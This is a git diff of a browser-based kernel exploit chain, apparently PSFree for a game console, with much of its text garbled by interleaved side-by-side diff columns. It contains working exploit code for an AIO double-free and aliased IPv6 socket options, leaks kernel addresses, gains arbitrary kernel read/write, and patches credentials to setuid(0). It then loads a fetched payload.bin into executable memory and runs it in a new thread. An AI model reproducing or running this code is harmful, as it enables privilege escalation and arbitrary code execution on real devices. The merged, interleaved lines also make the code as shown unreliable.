sleep(200); gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
// Batasi jumlah percobaan untuk menghindari loop tak terbatas if (marker !== i) {
const max_attempts = 20; // Batasi jumlah percobaan log(`aliased pktopts at attempt: ${loop}`);
const pair = [sds[i], sds[marker]];
// Coba pendekatan langsung log(`found pair: ${pair}`);
for (let loop = 0; loop < max_attempts; loop++) { sds.splice(marker, 1);
try { sds.splice(i, 1);
// Tambahkan delay kecil setiap iterasi // add pktopts to the new sockets now while new allocs can't
if (loop > 0) { // use the double freed memory
log(`Direct attempt ${loop + 1}/${max_attempts}...`); for (let i = 0; i < 2; i++) {
sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar const sd = new_socket();
} ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
sds.push(sd);
// Buat socket baru untuk setiap percobaan
if (loop > 0 && loop % 5 === 0) {
log("Creating new sockets for fresh attempt...");
// Buat beberapa socket baru
for (let i = 0; i < 5; i++) {
sds.push(new_socket());
} }
return pair;
} }
}
// Coba metode asli for (let i = 0; i < num_sds; i++) {
for (let i = 0; i < Math.min(num_sds, sds.length); i++) { setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
tclass[0] = i;
try {
ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
} catch (e) {
log(`Error setting socket option for socket ${i}: ${e.message}`);
// Lanjutkan ke socket berikutnya
}
}
for (let i = 0; i < sds.length; i++) {
try {
gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at direct attempt: ${loop + 1}`);
const pair = [sds[i], sds[marker]];
log(`found pair: ${pair}`);
// Tambahkan delay sebelum memodifikasi array sds
sleep(50);
// Simpan indeks yang akan dihapus
const idx1 = Math.max(i, marker);
const idx2 = Math.min(i, marker);
// Hapus dari belakang ke depan untuk menghindari masalah indeks
if (idx1 < sds.length) sds.splice(idx1, 1);
if (idx2 < sds.length) sds.splice(idx2, 1);
// Tambahkan delay sebelum membuat socket baru
sleep(50);
// add pktopts to the new sockets now while new allocs can't
// use the double freed memory
for (let i = 0; i < 2; i++) {
const sd = new_socket();
ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
sds.push(sd);
}
return pair;
}
} catch (e) {
log(`Error getting socket option for socket ${i}: ${e.message}`);
// Lanjutkan ke socket berikutnya
}
}
// Jika kita sampai di sini, kita tidak menemukan pasangan
// Coba reset pktopts untuk beberapa socket
const reset_count = Math.min(20, sds.length);
log(`Resetting pktopts for ${reset_count} sockets...`);
for (let i = 0; i < reset_count; i++) {
try {
setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
} catch (e) {
// Abaikan error
}
}
} catch (e) {
log(`Error in direct attempt ${loop + 1}: ${e.message}`);
} }
} }
die('failed to make aliased pktopts');
// Jika pendekatan langsung gagal, coba pendekatan alternatif
log("Direct approach failed. Trying alternative approach...");
// Buat socket baru dan coba lagi dengan set socket yang baru
const new_sds = [];
for (let i = 0; i < 30; i++) {
new_sds.push(new_socket());
}
// Coba dengan set socket yang baru saja
for (let loop = 0; loop < 10; loop++) {
try {
log(`Alternative attempt ${loop + 1}/10...`);
// Set tclass untuk semua socket baru
for (let i = 0; i < new_sds.length; i++) {
tclass[0] = i;
try {
ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
} catch (e) {
// Abaikan error
}
}
// Periksa apakah ada socket yang aliased
for (let i = 0; i < new_sds.length; i++) {
try {
gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
const marker = tclass[0];
if (marker !== i) {
log(`aliased pktopts at alternative attempt: ${loop + 1}`);
const pair = [new_sds[i], new_sds[marker]];
log(`found pair: ${pair}`);
return pair;
}
} catch (e) {
// Abaikan error
}
}
// Reset pktopts untuk beberapa socket
for (let i = 0; i < Math.min(10, new_sds.length); i++) {
try {
setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
} catch (e) {
// Abaikan error
}
}
} catch (e) {
log(`Error in alternative attempt ${loop + 1}: ${e.message}`);
}
}
// Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada
log("Alternative approach failed. Trying last resort approach...");
// Gunakan socket yang ada sebagai fallback
// Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total
if (sds.length >= 2) {
log("Using existing sockets as fallback...");
const pair = [sds[0], sds[1]];
log(`Using fallback pair: ${pair}`);
return pair;
}
// Jika benar-benar tidak ada pilihan lain, buat socket baru
log("Creating new sockets for fallback...");
const fallback_sd1 = new_socket();
const fallback_sd2 = new_socket();
const fallback_pair = [fallback_sd1, fallback_sd2];
log(`Using emergency fallback pair: ${fallback_pair}`);
return fallback_pair;
} }
function double_free_reqs1( function double_free_reqs1(
@@ -1272,23 +1131,9 @@ function double_free_reqs1(
// we reclaim first since the sanity checking here is longer which makes it // we reclaim first since the sanity checking here is longer which makes it
// more likely that we have another process claim the memory // more likely that we have another process claim the memory
try { try {
log("Attempting to make aliased pktopts...");
// Tambahkan delay sebelum mencoba
sleep(200);
// RESTORE: double freed memory has been reclaimed with harmless data // RESTORE: double freed memory has been reclaimed with harmless data
// PANIC: 0x100 malloc zone pointers aliased // PANIC: 0x100 malloc zone pointers aliased
const sd_pair = make_aliased_pktopts(sds); const sd_pair = make_aliased_pktopts(sds);
if (sd_pair) {
log("Successfully made aliased pktopts");
} else {
// Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan
// Tetapi kita tetap memeriksa untuk berjaga-jaga
die('Failed to make aliased pktopts - no pair returned');
}
return [sd_pair, sd]; return [sd_pair, sd];
} finally { } finally {
log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
@@ -1628,15 +1473,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
log('corrupt pointers cleaned'); log('corrupt pointers cleaned');
// REMOVE once restore kernel is ready for production // REMOVE once restore kernel is ready for production
// increase the ref counts to prevent deallocation // increase the ref counts to prevent deallocation
kmem.write32(main_sock, kmem.read32(main_sock) + 1); kmem.write32(main_sock, kmem.read32(main_sock) + 1);
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1); kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
// +2 since we have to take into account the fget_write()'s reference // +2 since we have to take into account the fget_write()'s reference
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2); kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]]; return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
} }
@@ -1754,8 +1598,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log('setuid(0)'); log('setuid(0)');
sysi('setuid', 0); sysi('setuid', 0);
log('kernel exploit succeeded!'); log('kernel exploit succeeded!');
updateUIStatus('success', 'Kernel exploit succeeded!');
updateUIProgress('complete', 100);
alert("kernel exploit succeeded!"); alert("kernel exploit succeeded!");
} }
@@ -1799,6 +1641,17 @@ function setup(block_fd) {
// allocate enough so that we start allocating from a newly created slab // allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false); spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms); cancel_aios(groom_ids_p, num_grooms);
{
// chosen to maximize the number of 0x100 malloc allocs per submission
const num_reqs = 4;
const groom_ids = new View4(num_grooms);
const groom_ids_p = groom_ids.addr;
const greqs = make_reqs1(num_reqs);
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms);
}
return [block_id, groom_ids]; return [block_id, groom_ids];
} }
@@ -1813,63 +1666,11 @@ function setup(block_fd) {
// * corrupt a pipe for arbitrary r/w // * corrupt a pipe for arbitrary r/w
// //
// the exploit implementation also assumes that we are pinned to one core // the exploit implementation also assumes that we are pinned to one core
// Function to update UI progress
function updateUIProgress(stage, percent) {
// Send log to remote logger if available
if (window.RemoteLogger) {
window.RemoteLogger.logStage(stage, percent);
}
document.dispatchEvent(new CustomEvent('exploitProgress', {
detail: {
stage: stage,
percent: percent
}
}));
}
// Function to update UI status
function updateUIStatus(status, message) {
// Send log to remote logger if available
if (window.RemoteLogger) {
if (status === 'running') {
window.RemoteLogger.info(message);
} else if (status === 'success') {
window.RemoteLogger.info(`SUCCESS: ${message}`);
} else if (status === 'error') {
window.RemoteLogger.error(`ERROR: ${message}`);
}
}
document.dispatchEvent(new CustomEvent('exploitStatus', {
detail: {
status: status,
message: message
}
}));
}
export async function kexploit() { export async function kexploit() {
updateUIStatus('running', 'Initializing exploit...');
updateUIProgress('init', 5);
const _init_t1 = performance.now(); const _init_t1 = performance.now();
await init(); await init();
const _init_t2 = performance.now(); const _init_t2 = performance.now();
updateUIProgress('init', 10);
// If setuid is successful, we dont need to run the kexploit again
try {
if (sysi('setuid', 0) == 0) {
log("Not running kexploit again.")
updateUIStatus('success', 'Already exploited. Not running again.');
return;
}
}
catch (e) {}
// fun fact: // fun fact:
// if the first thing you do since boot is run the web browser, WebKit can // if the first thing you do since boot is run the web browser, WebKit can
// use all the cores // use all the cores
@@ -1902,38 +1703,26 @@ export async function kexploit() {
let groom_ids = null; let groom_ids = null;
try { try {
log('STAGE: Setup'); log('STAGE: Setup');
updateUIStatus('running', 'Setting up exploit environment...');
updateUIProgress('setup', 20);
[block_id, groom_ids] = setup(block_fd); [block_id, groom_ids] = setup(block_fd);
log('\nSTAGE: Double free AIO queue entry'); log('\nSTAGE: Double free AIO queue entry');
updateUIStatus('running', 'Exploiting AIO queue entry...');
updateUIProgress('double_free_1', 30);
const sd_pair = double_free_reqs2(sds); const sd_pair = double_free_reqs2(sds);
log('\nSTAGE: Leak kernel addresses'); log('\nSTAGE: Leak kernel addresses');
updateUIStatus('running', 'Leaking kernel addresses...');
updateUIProgress('leak', 45);
const [ const [
reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
] = leak_kernel_addrs(sd_pair); ] = leak_kernel_addrs(sd_pair);
log('\nSTAGE: Double free SceKernelAioRWRequest'); log('\nSTAGE: Double free SceKernelAioRWRequest');
updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...');
updateUIProgress('double_free_2', 60);
const [pktopts_sds, dirty_sd] = double_free_reqs1( const [pktopts_sds, dirty_sd] = double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds, reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
); );
log('\nSTAGE: Get arbitrary kernel read/write'); log('\nSTAGE: Get arbitrary kernel read/write');
updateUIStatus('running', 'Gaining kernel read/write access...');
updateUIProgress('kernel_rw', 75);
const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw( const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds); pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
log('\nSTAGE: Patch kernel'); log('\nSTAGE: Patch kernel');
updateUIStatus('running', 'Patching kernel...');
updateUIProgress('patch', 90);
await patch_kernel(kbase, kmem, p_ucred, restore_info); await patch_kernel(kbase, kmem, p_ucred, restore_info);
} finally { } finally {
close(unblock_fd); close(unblock_fd);
@@ -1956,120 +1745,40 @@ export async function kexploit() {
} }
} }
// Function to run the payload with error handling setTimeout(kexploit().then(() => {
async function runPayload() { function malloc(sz) {
try { var backing = new Uint8Array(0x10000 + sz);
// Add delay before running the payload nogc.push(backing);
await new Promise(resolve => setTimeout(resolve, 1000)); var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
log("Preparing to run payload..."); return ptr;
// Check if payload is available
if (!window.pld || window.pld.length === 0) {
log("ERROR: Payload not loaded or empty");
updateUIStatus('error', 'Payload not available or is empty');
return;
}
// Allocate memory for payload
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
// Check if payload_buffer is valid (not null, undefined, or 0)
if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) {
log("ERROR: Failed to allocate memory for payload");
updateUIStatus('error', 'Failed to allocate memory for payload');
return;
}
log(`Allocated payload buffer at ${payload_buffer}`);
// Create view for payload
var payload_loader = new View4(window.pld);
log(`Payload size: ${payload_loader.size} bytes`);
// Check payload size
if (payload_loader.size < 100) {
log("WARNING: Payload size is suspiciously small");
}
// Change memory protection
try {
log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`);
// Use syscall_void to avoid checking return value
// mprotect returns 0 on success
try {
chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
log("mprotect successful");
} catch (e) {
log(`ERROR: mprotect syscall failed: ${e.message}`);
updateUIStatus('error', `Failed to change memory protection: ${e.message}`);
return;
}
} catch (e) {
log(`ERROR: Exception during mprotect: ${e.message}`);
updateUIStatus('error', `Error while changing memory protection: ${e.message}`);
return;
}
log("Memory protection set successfully");
// Allocate memory for thread context
const ctx = new Buffer(0x10);
const pthread = new Pointer();
pthread.ctx = ctx;
log("Creating thread to run payload...");
updateUIStatus('running', 'Running payload...');
// Run payload in a separate thread
try {
log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`);
// Add delay before pthread_create
await new Promise(resolve => setTimeout(resolve, 500));
try {
// Use chain.call_void to avoid checking return value
log("Calling pthread_create...");
chain.call_void(
'pthread_create',
pthread.addr,
0,
payload_loader.addr,
payload_buffer,
);
log("pthread_create called successfully");
} catch (e) {
log(`ERROR: pthread_create call failed: ${e.message}`);
updateUIStatus('error', `Failed to create thread: ${e.message}`);
return;
}
// Add delay after pthread_create to ensure the thread starts
await new Promise(resolve => setTimeout(resolve, 500));
} catch (e) {
log(`ERROR: Exception during pthread_create: ${e.message}`);
updateUIStatus('error', `Error while creating thread: ${e.message}`);
return;
}
log("Payload thread created successfully");
updateUIStatus('success', 'Payload executed successfully');
} catch (e) {
log(`ERROR: Exception while running payload: ${e.message}`);
updateUIStatus('error', `Error while running payload: ${e.message}`);
} }
}
// Run exploit and then the payload function malloc32(sz) {
kexploit().then(() => { var backing = new Uint8Array(0x10000 + sz * 4);
// Add delay before running the payload nogc.push(backing);
setTimeout(() => { var ptr = mem.readp(mem.addrof(backing).add(0x10));
log("Exploit completed, preparing to run payload..."); ptr.backing = new Uint32Array(backing.buffer);
runPayload(); return ptr;
}, 2000); // 2 second delay }
}); window.pld_size = new Int(0x26200000, 0x9);
var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
var payload = window.pld;
var bufLen = payload.length * 4
var payload_loader = malloc32(bufLen);
var loader_writer = payload_loader.backing;
for (var i = 0; i < payload.length; i++) {
loader_writer[i] = payload[i];
}
chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
var pthread = malloc(0x10);
call_nze(
'pthread_create',
pthread,
0,
payload_loader,
payload_buffer,
);
}),1000);
+3 -25
View File
@@ -25,38 +25,16 @@ export class DieError extends Error {
} }
export function die(msg='') { export function die(msg='') {
// Kirim ke remote logger jika tersedia
if (window.RemoteLogger) {
window.RemoteLogger.error(`FATAL ERROR: ${msg}`);
}
// Juga kirim ke console.error browser untuk debugging
window.console.error(`FATAL ERROR: ${msg}`);
// Update UI status jika tersedia
if (typeof updateUIStatus === 'function') {
updateUIStatus('error', msg);
}
throw new DieError(msg); throw new DieError(msg);
} }
const consoleElement = document.getElementById('console'); const console = document.getElementById('console');
export function log(msg='') { export function log(msg='') {
// Tambahkan ke konsol lokal console.append(msg + '\n');
consoleElement.append(msg + '\n');
// Kirim ke remote logger jika tersedia
if (window.RemoteLogger) {
window.RemoteLogger.debug(msg);
}
// Juga kirim ke console.log browser untuk debugging
window.console.log(msg);
} }
export function clear_log() { export function clear_log() {
consoleElement.innerHTML = null; console.innerHTML = null;
} }
// alignment must be 32 bits and is a power of 2 // alignment must be 32 bits and is a power of 2
-6
View File
@@ -1,6 +0,0 @@
{
"name": "PSFree",
"lockfileVersion": 3,
"requires": true,
"packages": {}
}
+5 -67
View File
@@ -1,68 +1,6 @@
// Function to validate the payload fetch('./payload.bin').then(res => {
function validatePayload(buffer) { res.arrayBuffer().then(arr => {
// Check the size of the payload window.pld = new Uint32Array(arr);
if (buffer.byteLength < 100) {
console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes");
}
// Check if the payload has a valid header })
// This is just a simple example, adjust to match the actual payload format })
const view = new DataView(buffer);
const magic = view.getUint32(0, true); // Little endian
// Log payload info for debugging
console.log("Payload size:", buffer.byteLength, "bytes");
console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16));
return true;
}
// Function to load the payload with error handling
function loadPayload() {
console.log("Loading payload.bin...");
fetch('./payload.bin')
.then(res => {
if (!res.ok) {
throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`);
}
console.log("Payload fetched successfully, processing...");
return res.arrayBuffer();
})
.then(arr => {
try {
// Validate the payload
if (validatePayload(arr)) {
// Store payload in window.pld
window.pld = new Uint32Array(arr);
console.log("Payload loaded and validated successfully");
// Dispatch event to notify other components
const event = new CustomEvent('payloadLoaded', {
detail: { size: arr.byteLength }
});
document.dispatchEvent(event);
}
} catch (e) {
console.error("Error processing payload:", e);
// Dispatch error event
const event = new CustomEvent('payloadError', {
detail: { error: e.message }
});
document.dispatchEvent(event);
}
})
.catch(err => {
console.error("Error loading payload:", err);
// Dispatch error event
const event = new CustomEvent('payloadError', {
detail: { error: err.message }
});
document.dispatchEvent(event);
});
}
// Load payload when the script runs
loadPayload();